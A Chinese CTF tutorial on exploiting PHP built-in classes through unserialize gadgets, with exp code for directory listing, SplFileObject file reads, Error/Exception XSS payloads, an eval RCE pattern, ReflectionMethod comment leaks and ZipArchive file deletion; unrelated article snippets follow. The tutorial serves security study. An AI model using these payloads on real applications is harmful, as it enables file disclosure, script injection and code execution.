当前位置: 首页 > news >正文

PHP原生类

什么是php原生类

原生类就是php内置类,不用定义php自带的类,即不需要在当前脚本写出,但也可以实例化的类

我们可以通过脚本找一下php原生类

<?php
$classes = get_declared_classes();
foreach ($classes as $class) {$methods = get_class_methods($class);foreach ($methods as $method) {if (in_array($method, array('__destruct','__toString','__wakeup','__call','__callStatic','__get','__set','__isset','__unset','__invoke','__set_state'))) {print $class . '::' . $method . "\n";}}
}

几个ctf常用的php原生类 

遍历文件目录的类

DirectoryIterator 类

类介绍

 DirectoryIterator extends SplFileInfo implements SeekableIterator {
    /* 方法 */
    public __construct ( string $path )
    public current ( ) : DirectoryIterator
    public getATime ( ) : int
    public getBasename ( string $suffix = ? ) : string
    public getCTime ( ) : int
    public getExtension ( ) : string
    public getFilename ( ) : string
    public getGroup ( ) : int
    public getInode ( ) : int
    public getMTime ( ) : int
    public getOwner ( ) : int
    public getPath ( ) : string
    public getPathname ( ) : string
    public getPerms ( ) : int
    public getSize ( ) : int
    public getType ( ) : string
    public isDir ( ) : bool
    public isDot ( ) : bool
    public isExecutable ( ) : bool
    public isFile ( ) : bool
    public isLink ( ) : bool
    public isReadable ( ) : bool
    public isWritable ( ) : bool
    public key ( ) : string
    public next ( ) : void
    public rewind ( ) : void
    public seek ( int $position ) : void
    public __toString ( ) : string    // 以字符串形式获取文件名
    public valid ( ) : bool
}

可以看到这里有我门常见的__construct和__toString这里我们可以反序列化利用 

这里会创建一个指定目录的迭代器。当执行到echo函数时,会触发DirectoryIterator类中的 __toString() 方法,输出指定目录里面经过排序之后的第一个文件名

测试代码

<?php
$a = new DirectoryIterator("/");
echo $a;

echo以字符串的形式输入,会触发 __toString()以字符串的形式输入根目录的第一个文件名

 也可以结合glob协议进行多目录遍历

<?php
$a = new DirectoryIterator("glob://f*");
echo $a;

 如果想显示所有的文件可以用foreach函数来遍历,比如

<?php
$a = new DirectoryIterator("/");
foreach($a as $f){echo($f.'<br>');
}

 

 FilesystemIterator

 基本和DirectoryIterator一样

GlobIterato

名字可以看出这个类是自带glob协议的,所以不用再使用glob协议了例如

<?php
$a = new GlobIterator("/");
echo $a;

文件读取类 

SplFileObject

当用文件目录遍历到了敏感文件时,可以用SplFileObject类,同样通过echo触发SplFileObject中的__toString()方法。(该类不支持通配符,所以必须先获取到完整文件名称才行),而且这个方法只能读一行

test1

<?php
error_reporting(0);
highlight_file(__FILE__);class a{public $key;public $value;public function __wakeup(){echo new $this->key($this->value);}
}unserialize($_GET['a']);?>

这个反序列化没有任何可以直接利用的魔法函数,只有一个wakeup可以进入

echo new $this->key($this->value);

构造exp很简单,只需要让key值赋为我们想得的原生函数,value赋为路径,查就完了但是这个方法的局限性就是只能查一个路径上的第一个文件。

<?php
class xxh{public $key;public $value;public function __wakeup(){echo new $this->key($this->value);}
}$a = new xxh();
$a->key="SplFileObject";
$a->value="./";
echo serialize($a);
?>

PHP 原生Error&Exception类(XSS实现与hash绕过)

Error内置类

适用于php7

开启报错的情况下

 Error类是php 的一个内置类,用于自动自定义一个Error ,在php7的情况下可能会造成一个xss漏洞,因为他内置有一个 __toString()方法,在ctf反序列化中,如果flag在cookie中可以尝试利用Error去触发__toString()

<?php$a = unserialize($_GET['xxh']);
echo $a;
<?php
$a = new Error("<script>alert('1')</script>");
echo serialize($a);

 

 

 Excepthin 内置类 

适用于 php5,7

开启报错的情况下:

<?php$a = unserialize($_GET['xxh']);
echo $a;

 exp

<?php$a = new Error("<script>alert('1')</script>");
$b = serialize($a);
echo urlencode($b);

也可以成功弹窗

命令执行

如果有eval的话就可以rce

<?php
$a = $_GET['a'];
$b = $_GET['b'];
eval("echo new $a($b());");
?>

  这就不限于Error函数了、

其他类

ReflectionMethod类

他本身具有的方法

class ReflectionMethod extends ReflectionFunctionAbstract implements Reflector {	
/*方法*/ReflectionMethod::__construct — ReflectionMethod 的构造函数ReflectionMethod::export — 输出一个回调方法ReflectionMethod::getClosure — 返回一个动态建立的方法调用接口,译者注:可以使用这个返回值直接调用非公开方法。ReflectionMethod::getDeclaringClass — 获取被反射的方法所在类的反射实例ReflectionMethod::getModifiers — 获取方法的修饰符ReflectionMethod::getPrototype — 返回方法原型 (如果存在)ReflectionMethod::invoke — InvokeReflectionMethod::invokeArgs — 带参数执行ReflectionMethod::isAbstract — 判断方法是否是抽象方法ReflectionMethod::isConstructor — 判断方法是否是构造方法ReflectionMethod::isDestructor — 判断方法是否是析构方法ReflectionMethod::isFinal — 判断方法是否定义 finalReflectionMethod::isPrivate — 判断方法是否是私有方法ReflectionMethod::isProtected — 判断方法是否是保护方法 (protected)ReflectionMethod::isPublic — 判断方法是否是公开方法ReflectionMethod::isStatic — 判断方法是否是静态方法ReflectionMethod::setAccessible — 设置方法是否访问ReflectionMethod::__toString — 返回反射方法对象的字符串表达/*继承的方法*/final private ReflectionFunctionAbstract::__clone(): voidpublic ReflectionFunctionAbstract::getAttributes(?string $name = null, int $flags = 0): arraypublic ReflectionFunctionAbstract::getClosureScopeClass(): ?ReflectionClasspublic ReflectionFunctionAbstract::getClosureThis(): objectpublic ReflectionFunctionAbstract::getDocComment(): stringpublic ReflectionFunctionAbstract::getEndLine(): intpublic ReflectionFunctionAbstract::getExtension(): ReflectionExtensionpublic ReflectionFunctionAbstract::getExtensionName(): stringpublic ReflectionFunctionAbstract::getFileName(): stringpublic ReflectionFunctionAbstract::getName(): stringpublic ReflectionFunctionAbstract::getNamespaceName(): stringpublic ReflectionFunctionAbstract::getNumberOfParameters(): intpublic ReflectionFunctionAbstract::getNumberOfRequiredParameters(): intpublic ReflectionFunctionAbstract::getParameters(): arraypublic ReflectionFunctionAbstract::getReturnType(): ?ReflectionTypepublic ReflectionFunctionAbstract::getShortName(): stringpublic ReflectionFunctionAbstract::getStartLine(): intpublic ReflectionFunctionAbstract::getStaticVariables(): arraypublic ReflectionFunctionAbstract::hasReturnType(): boolpublic ReflectionFunctionAbstract::inNamespace(): boolpublic ReflectionFunctionAbstract::isClosure(): boolpublic ReflectionFunctionAbstract::isDeprecated(): boolpublic ReflectionFunctionAbstract::isGenerator(): boolpublic ReflectionFunctionAbstract::isInternal(): boolpublic ReflectionFunctionAbstract::isUserDefined(): boolpublic ReflectionFunctionAbstract::isVariadic(): boolpublic ReflectionFunctionAbstract::returnsReference(): boolabstract public ReflectionFunctionAbstract::__toString(): void

可以看到这里也有一个__toString函数,也可以触发反序列化漏洞 

ReflectionMethod 类中有很多继承方法可以使用,比如这个 getDocComment() 方法,我们可以用它来获取类中各个函数注释内容

<?php
show_source(__FILE__);
class a
//flag{123}public function a(){}
}
$a = $_GET['a'];
$b = $_GET['b'];
$c= $_GET['c'];
$d=new $a($b,$c);
echo($d->getDocComment());
?>

?a=ReflectionMethod&b=a&c=b

利用原生类ReflectionMethod中的getDocComment()函数类读取注释

ZipArchive类

可以通过本类执行一些文件操作,在CTF可以用来删除waf

open(打开一个压缩包文件)

$zip = new \ZipArchive;$zip->open('test_new.zip', \ZipArchive::CREATE)

常用方法 

ZipArchive::addEmptyDir:添加一个新的文件目录
ZipArchive::addFile:将文件添加到指定zip压缩包中
ZipArchive::addFromString:添加新的文件同时将内容添加进去
ZipArchive::close:关闭ziparchive
ZipArchive::extractTo:将压缩包解压
ZipArchive::open:打开一个zip压缩包
ZipArchive::deleteIndex:删除压缩包中的某一个文件,如:deleteIndex(0)代表删除第一个文件
ZipArchive::deleteName:删除压缩包中的某一个文件名称,同时也将文件删除

相关文章:

PHP原生类

什么是php原生类 原生类就是php内置类&#xff0c;不用定义php自带的类&#xff0c;即不需要在当前脚本写出&#xff0c;但也可以实例化的类 我们可以通过脚本找一下php原生类 <?php $classes get_declared_classes(); foreach ($classes as $class) {$methods get_clas…...

QGIS3.28的二次开发八:显示shp的属性表

这里实现两个基本的 GIS 软件需求&#xff1a;矢量图层的属性表显示&#xff0c;以及根据属性筛选要素。 具体需求如下&#xff1a; 加载一个矢量图层并打开其属性表&#xff1b;输入筛选条件确认无误后&#xff0c;画布上和属性表中均只显示筛选后的要素。 QGIS 提供了若干…...

虚拟机安装 Ubuntu桌面版,宿主机无法访问虚拟机 ufw 防火墙简单使用

虚拟机安装 Ubuntu桌面版&#xff0c;宿主机无法访问虚拟机 问题处理安装ssh服务ufw防火墙 放行ssh服务ufw 常用命令 问题 本次安装使用的 ubuntu-22.04.2-desktop-amd64 &#xff0c;网络连接使用的是桥接&#xff0c;查看ubuntu的ip是正常的&#xff0c;与宿主机在同一个网段…...

jquery发送ajax练习

jquery发送ajax练习 工具代码运行结果 工具 HBuilder X 代码 <!DOCTYPE html> <html><head><meta charset"utf-8"><title>通过ajax进行图片的提取和显示</title><style>div{background-color: beige;color: red;font-s…...

adb用法,安卓的用户CA证书放到系统CA证书下

设备需root&#xff01;&#xff01;设备需root&#xff01;&#xff01;设备需root&#xff01;&#xff01; ​​​​​​​测试环境&#xff1a;redmi 5 plus、miui10 9.9.2dev&#xff08;安卓8.1&#xff09;、已root win下安装手机USB驱动&#xff08;过程略&#xff0c…...

【LVS-NAT配置】

配置 node1&#xff1a;128&#xff08;客户端&#xff09; node2&#xff1a;135&#xff08;调度器&#xff09; RS&#xff1a; node3&#xff1a;130 node4&#xff1a;132 node2添加网络适配器&#xff08;仅主机模式&#xff09; [rootnode2 ~]# nmtui[rootnode2 ~]#…...

时序预测 | MATLAB实现BO-GRU贝叶斯优化门控循环单元时间序列预测

时序预测 | MATLAB实现BO-GRU贝叶斯优化门控循环单元时间序列预测 目录 时序预测 | MATLAB实现BO-GRU贝叶斯优化门控循环单元时间序列预测效果一览基本介绍模型搭建程序设计参考资料 效果一览 基本介绍 MATLAB实现BO-GRU贝叶斯优化门控循环单元时间序列预测。基于贝叶斯(bayes)…...

注意:阿里云服务器随机分配可用区说明

阿里云服务器如有ICP备案需求请勿选择随机可用区&#xff0c;因为当前地域下的可用区可能不支持备案&#xff0c;阿里云百科分享提醒大家&#xff0c;如果你的购买的云服务器搭建网站应用&#xff0c;网站域名需要使用这台云服务器备案的话&#xff0c;不要随机分配可用区&…...

【Vue】使用print.js插件实现打印预览功能,超简单

目录 一、实现效果 二、实现步骤 【1】安装插件 【2】在需要打印的页面导入 【3】在vue文件中需要打印的部分外层套一层div&#xff0c;给div设置id。作为打印的区域 【4】在打印按钮上添加打印事件 【5】在methods中添加点击事件 三、完整代码 一、实现效果 二、实现步…...

3.5 Spring MVC参数传递

Spring MVC的Controller接收请求参数的方式有多种&#xff0c;本节主要介绍Spring MVC下的HttpServletRequest、基本数据类型、Java Bean、数组、List、Map、JSON参数传递方式&#xff0c;同时解决POST请求中文乱码问题。 1. HttpServletRequest参数传递 Controller RequestM…...

linux程序保护机制gcc编译选项

预备知识&#xff1a; 计算机内存的结构通常包括以下几个主要部分&#xff1a; 1.代码段(Code Segment)&#xff1a;也称为文本段&#xff0c;存储程序的可执行指令。代码段是被标记为可执行的&#xff0c;程序从代码段中获取指令并执行。 2.数据段(Data Segment)&#xff1a…...

指针与引用:C语言中的内存魔法

开始本篇文章之前先推荐一个好用的学习工具&#xff0c;AIRIght&#xff0c;借助于AI助手工具&#xff0c;学习事半功倍。欢迎访问&#xff1a;http://airight.fun/。 也把我学习过程中搜集的资料分享给大家&#xff0c;希望可以帮助大家少走弯路&#xff0c;链接&#xff1a;h…...

docker desktop搭建 nginx

【docker 桌面版】windows 使用 docker 搭建 nginx 拉取 nginx 镜像 docker pull nginx运行容器 docker run -d -p 80:8081 --name nginx nginx本地磁盘创建 nginx 目录 D:\DockerRep\nginx复制 docker 中的 nginx 配置文件 查看运行的容器 docker ps -a docker cp 9f0f82d66dd…...

Redis缓存雪崩、击穿、穿透?

我们谈谈Redis在实际项目中用作缓存时经常碰到的&#xff0c;也是经常面试的三大问题&#xff1a;缓存穿透、缓存击穿、缓存雪崩&#xff0c;以及这些问题的常用解决方法。 在介绍这三大问题之前&#xff0c;我们需要先了解Redis作为一个缓存中间件&#xff0c;在项目中是如何…...

Kettle系列(一)下载安装与基础配置

Kettle系列&#xff08;一&#xff09;下载安装与基础配置 说明一、下载二、目录结构三、基础配置&#xff08;1&#xff09;环境变量&#xff08;2&#xff09;kettle配置 四、连接mysql8五、连接其他数据库六、总结 说明 更新时间&#xff1a;2023/08/13 17:47 本文记录了wi…...

MuMu模拟器运行一段时间后Device.Present耗时突然上升

1&#xff09;MuMu模拟器运行一段时间后Device.Present耗时突然上升 2&#xff09;​如何在运行过程中获得温度信息 3&#xff09;Input System鼠标更换主按键的Bug 4&#xff09;如何禁止Unity向https://config.uca.cloud.unity3d.com发送设备信息 这是第347篇UWA技术知识分享…...

14-矩阵相乘及其运算法则

矩阵与向量的乘法 在这一篇文章中我们就将基于上一篇重新审视矩阵的这个视点来理解矩阵的乘法&#xff0c;那么在这一篇&#xff0c;我们主要来看一下矩阵和向量的乘法。这里这个线性方程组是上一小节给大家举的模拟的一个非常简单的小型经济系统的例子&#xff0c;我们可以把…...

redis学习笔记(八)

文章目录 redis的配置redis的核心配置选项Redis的使用 redis的配置 cat /etc/redis/redis.confredis 安装成功以后,window下的配置文件保存在软件 安装目录下,如果是mac或者linux,则默认安装/etc/redis/redis.conf redis的核心配置选项 绑定ip&#xff1a;访问白名单&#x…...

Wlan——无线服务集和AP的基本概念以及AP的配置

目录 WLAN服务集的基本概念 AP的基本概念 AP的分类 AP模式的切换 胖&#xff08;FAT&#xff09;AP介绍 胖AP的工作模式 接入模式和路由模式的区别 胖AP的组网方式 瘦&#xff08;FIT&#xff09;AP介绍 瘦AP的工作模式 瘦AP的组网方式 胖AP和瘦AP的区别 AP的配置…...

【必看】时序逻辑仿真成组合逻辑?你知道原因吗?

对于初学者&#xff0c;一般会遇到这种情况&#xff0c;明明写的时序逻辑&#xff0c;结果仿真结果却是组合逻辑&#xff0c;然后看遍设计代码&#xff0c;始终找不到原因&#xff0c;交流群、知乎这种问题随处可见。但不要怀疑软件问题&#xff0c;modelsim这些专用软件基本不…...

在软件开发中正确使用MySQL日期时间类型的深度解析

在日常软件开发场景中&#xff0c;时间信息的存储是底层且核心的需求。从金融交易的精确记账时间、用户操作的行为日志&#xff0c;到供应链系统的物流节点时间戳&#xff0c;时间数据的准确性直接决定业务逻辑的可靠性。MySQL作为主流关系型数据库&#xff0c;其日期时间类型的…...

RocketMQ延迟消息机制

两种延迟消息 RocketMQ中提供了两种延迟消息机制 指定固定的延迟级别 通过在Message中设定一个MessageDelayLevel参数&#xff0c;对应18个预设的延迟级别指定时间点的延迟级别 通过在Message中设定一个DeliverTimeMS指定一个Long类型表示的具体时间点。到了时间点后&#xf…...

蓝桥杯 2024 15届国赛 A组 儿童节快乐

P10576 [蓝桥杯 2024 国 A] 儿童节快乐 题目描述 五彩斑斓的气球在蓝天下悠然飘荡&#xff0c;轻快的音乐在耳边持续回荡&#xff0c;小朋友们手牵着手一同畅快欢笑。在这样一片安乐祥和的氛围下&#xff0c;六一来了。 今天是六一儿童节&#xff0c;小蓝老师为了让大家在节…...

vue3 字体颜色设置的多种方式

在Vue 3中设置字体颜色可以通过多种方式实现&#xff0c;这取决于你是想在组件内部直接设置&#xff0c;还是在CSS/SCSS/LESS等样式文件中定义。以下是几种常见的方法&#xff1a; 1. 内联样式 你可以直接在模板中使用style绑定来设置字体颜色。 <template><div :s…...

如何将联系人从 iPhone 转移到 Android

从 iPhone 换到 Android 手机时&#xff0c;你可能需要保留重要的数据&#xff0c;例如通讯录。好在&#xff0c;将通讯录从 iPhone 转移到 Android 手机非常简单&#xff0c;你可以从本文中学习 6 种可靠的方法&#xff0c;确保随时保持连接&#xff0c;不错过任何信息。 第 1…...

【Go】3、Go语言进阶与依赖管理

前言 本系列文章参考自稀土掘金上的 【字节内部课】公开课&#xff0c;做自我学习总结整理。 Go语言并发编程 Go语言原生支持并发编程&#xff0c;它的核心机制是 Goroutine 协程、Channel 通道&#xff0c;并基于CSP&#xff08;Communicating Sequential Processes&#xff0…...

HBuilderX安装(uni-app和小程序开发)

下载HBuilderX 访问官方网站&#xff1a;https://www.dcloud.io/hbuilderx.html 根据您的操作系统选择合适版本&#xff1a; Windows版&#xff08;推荐下载标准版&#xff09; Windows系统安装步骤 运行安装程序&#xff1a; 双击下载的.exe安装文件 如果出现安全提示&…...

Python 包管理器 uv 介绍

Python 包管理器 uv 全面介绍 uv 是由 Astral&#xff08;热门工具 Ruff 的开发者&#xff09;推出的下一代高性能 Python 包管理器和构建工具&#xff0c;用 Rust 编写。它旨在解决传统工具&#xff08;如 pip、virtualenv、pip-tools&#xff09;的性能瓶颈&#xff0c;同时…...

Yolov8 目标检测蒸馏学习记录

yolov8系列模型蒸馏基本流程&#xff0c;代码下载&#xff1a;这里本人提交了一个demo:djdll/Yolov8_Distillation: Yolov8轻量化_蒸馏代码实现 在轻量化模型设计中&#xff0c;**知识蒸馏&#xff08;Knowledge Distillation&#xff09;**被广泛应用&#xff0c;作为提升模型…...

招商蛇口 | 执笔CID,启幕低密生活新境

作为中国城市生长的力量&#xff0c;招商蛇口以“美好生活承载者”为使命&#xff0c;深耕全球111座城市&#xff0c;以央企担当匠造时代理想人居。从深圳湾的开拓基因到西安高新CID的战略落子&#xff0c;招商蛇口始终与城市发展同频共振&#xff0c;以建筑诠释对土地与生活的…...